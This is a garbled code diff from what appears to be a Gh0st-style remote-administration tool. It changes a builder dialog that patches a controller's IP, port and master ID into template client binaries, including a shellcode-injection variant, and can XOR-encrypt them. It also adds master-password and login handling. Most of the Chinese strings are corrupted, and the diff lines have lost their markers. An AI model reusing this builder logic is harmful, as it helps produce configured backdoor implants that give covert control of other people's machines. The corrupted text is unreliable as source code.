MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룬<EFBFBD><EFBFBD><EFBFBD>±<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 0, typ};
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup };
|
||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||
|
||||
if (!g_ConnectAddress.IsValid())
|
||||
if (!g_ConnectAddress.IsValid()) {
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
//<EFBFBD>˴<EFBFBD><EFBFBD>õ<EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
|
||||
char path[_MAX_PATH], *p = path;
|
||||
// <20><><EFBFBD>±<EFBFBD>ʶ
|
||||
char* ptr = (char*)szBuffer, *end = (char*)szBuffer + dwFileSize;
|
||||
bool bFind = false;
|
||||
int bufSize = dwFileSize;
|
||||
while (ptr < end) {
|
||||
int iOffset = MemoryFind(ptr, (char*)g_ConnectAddress.Flag(), bufSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset == -1)
|
||||
break;
|
||||
|
||||
CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(ptr + iOffset);
|
||||
auto result = strlen(dst->szBuildDate) ? compareDates(dst->szBuildDate, g_ConnectAddress.szBuildDate) : -1;
|
||||
if (result != -2 && result <= 0)// <20>ͻ<EFBFBD><CDBB>˰汾<CBB0><E6B1BE><EFBFBD>ܲ<EFBFBD><DCB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
{
|
||||
bFind = true;
|
||||
auto master = GetMasterId();
|
||||
memcpy(ptr + iOffset, &(g_ConnectAddress.ModifyFlag(master.c_str())), sizeof(g_ConnectAddress));
|
||||
}
|
||||
ptr += iOffset + sizeof(g_ConnectAddress);
|
||||
bufSize -= iOffset + sizeof(g_ConnectAddress);
|
||||
}
|
||||
if (!bFind) {
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD><EFBFBD><EFBFBD>ʶ<EFBFBD><EFBFBD>Ϣ!\r\n" + file, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, file.GetString());
|
||||
strcpy(p + 1, file.GetString());
|
||||
|
||||
strFile = typ != -1 ? path : file; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
if (_access(strFile, 0) == -1)
|
||||
{
|
||||
MessageBox(CString(strFile) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
||||
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
|
||||
|
||||
dwFileSize=File.GetLength();
|
||||
szBuffer=new BYTE[dwFileSize];
|
||||
ZeroMemory(szBuffer,dwFileSize);
|
||||
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
File.Read(szBuffer,dwFileSize);
|
||||
File.Close();
|
||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
int iOffset = MemoryFind((char*)szBuffer,(char*)g_ConnectAddress.Flag(),dwFileSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset==-1)
|
||||
{
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)g_ConnectAddress.Flag(),
|
||||
dwFileSize - iOffset - sizeof(g_ConnectAddress), g_ConnectAddress.FlagLen()) != -1) {
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
||||
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
||||
if (index == CLIENT_TYPE_MODULE)
|
||||
{
|
||||
strcpy(p + 1, "ClientDemo.dll");
|
||||
}
|
||||
else {
|
||||
strcpy(p + 1, "ClientDemo.exe");
|
||||
}
|
||||
strSeverFile = typ != -1 ? path : file;
|
||||
CString strSeverFile = typ != -1 ? path : file;
|
||||
DeleteFileA(strSeverFile);
|
||||
CFile File;
|
||||
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!\r\n" + strSeverFile, "<EFBFBD><EFBFBD>ʾ", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
|
||||
File.Write(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
delete[] szBuffer;
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<21>ļ<EFBFBD>λ<EFBFBD><EFBFBD>:\r\n"+ strSeverFile);
|
||||
CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڡ<CBBF>" :
|
||||
index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
if (index == IndexTestRun_DLL) return;
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!");
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBox("<EFBFBD>ڴ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>쳣", MB_ICONERROR);
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>쳣", MB_ICONERROR);
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
char err[100];
|
||||
e->GetErrorMessage(err, sizeof(err));
|
||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣:" + CString(err), "<EFBFBD>쳣", MB_ICONERROR);
|
||||
}
|
||||
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
|
||||
{
|
||||
int i,j;
|
||||
if (iKeySize == 0||iBufferSize==0)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
for (i = 0; i < iBufferSize; ++i)
|
||||
{
|
||||
for (j = 0; j < iKeySize; j ++)
|
||||
if (szBuffer[i+j] != Key[j]) break;
|
||||
if (j == iKeySize) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuildDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe");
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe");
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
|
||||
m_ComboExe.InsertString(IndexTestRun_DLL, "TestRun - <20><><EFBFBD><EFBFBD>DLL");
|
||||
m_ComboExe.InsertString(IndexTestRun_MemDLL, "TestRun - <20>ڴ<EFBFBD>DLL");
|
||||
m_ComboExe.InsertString(IndexTestRun_InjSC, "TestRun - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>±<EFBFBD>");
|
||||
|
||||
m_ComboExe.InsertString(IndexGhost, "ghost.exe");
|
||||
m_ComboExe.InsertString(IndexServerDll, "ServerDll.dll");
|
||||
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
|
||||
m_ComboExe.SetCurSel(0);
|
||||
|
||||
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>");
|
||||
m_ComboEncrypt.InsertString(1, "XOR");
|
||||
m_ComboEncrypt.SetCurSel(0);
|
||||
m_ComboEncrypt.EnableWindow(FALSE);
|
||||
m_ComboBits.InsertString(0, "64λ");
|
||||
m_ComboBits.InsertString(1, "32λ");
|
||||
m_ComboBits.SetCurSel(0);
|
||||
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
|
||||
@@ -27,7 +27,8 @@ public:
|
||||
virtual BOOL OnInitDialog();
|
||||
Buffer Encrypt(BYTE* buffer, int len, int method);
|
||||
CComboBox m_ComboExe;
|
||||
CComboBox m_ComboEncrypt;
|
||||
|
||||
afx_msg void OnCbnSelchangeComboExe();
|
||||
CStatic m_OtherItem;
|
||||
CComboBox m_ComboBits;
|
||||
};
|
||||
|
||||
@@ -11,12 +11,24 @@
|
||||
|
||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||
|
||||
// 主控程序唯一标识
|
||||
char g_MasterID[100] = { PWD_HASH256 };
|
||||
|
||||
std::string GetPwdHash(){
|
||||
return g_MasterID;
|
||||
}
|
||||
|
||||
std::string GetMasterId() {
|
||||
static auto id = std::string(g_MasterID).substr(0, 16);
|
||||
return id;
|
||||
}
|
||||
|
||||
CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_PASSWORD, pParent)
|
||||
, m_sDeviceID(_T(""))
|
||||
, m_sPassword(_T(""))
|
||||
{
|
||||
|
||||
m_hIcon = nullptr;
|
||||
}
|
||||
|
||||
CPasswordDlg::~CPasswordDlg()
|
||||
@@ -101,7 +113,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
|
||||
UpdateData(TRUE);
|
||||
if (m_sUserPwd.IsEmpty())return;
|
||||
std::string pwdHash = hashSHA256(m_sUserPwd.GetString());
|
||||
if (pwdHash != PWD_HASH256) {
|
||||
if (pwdHash != GetPwdHash()) {
|
||||
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
|
||||
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
|
||||
return;
|
||||
@@ -109,7 +121,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
|
||||
CString strBeginDate = m_StartTm.Format("%Y%m%d");
|
||||
CString strEndDate = m_ExpireTm.Format("%Y%m%d");
|
||||
// 密码形式:20250209 - 20350209: SHA256
|
||||
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + PWD_HASH256;
|
||||
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash();
|
||||
std::string finalKey = deriveKey(password, m_sDeviceID.GetString());
|
||||
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") +
|
||||
getFixedLengthID(finalKey);
|
||||
|
||||
@@ -3,12 +3,16 @@
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include "Resource.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// 密码的哈希值
|
||||
// 提示:请用hashSHA256函数获得密码的哈希值,你应该用自己的密码生成哈希值,并替换这个默认值.
|
||||
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
std::string GetPwdHash();
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
class CPasswordDlg : public CDialogEx
|
||||
{
|
||||
|
||||
@@ -185,6 +185,7 @@ typedef struct CONTEXT_OBJECT
|
||||
void *olps; // OVERLAPPEDPLUS
|
||||
int CompressMethod; // ѹ<><D1B9><EFBFBD>㷨
|
||||
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
|
||||
BOOL bLogin; // <20>Ƿ<EFBFBD> login
|
||||
|
||||
VOID InitMember()
|
||||
{
|
||||
@@ -197,6 +198,7 @@ typedef struct CONTEXT_OBJECT
|
||||
olps = NULL;
|
||||
CompressMethod = COMPRESS_ZSTD;
|
||||
Parser.Reset();
|
||||
bLogin = FALSE;
|
||||
}
|
||||
VOID SetClientInfo(CString s[10]){
|
||||
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++)
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user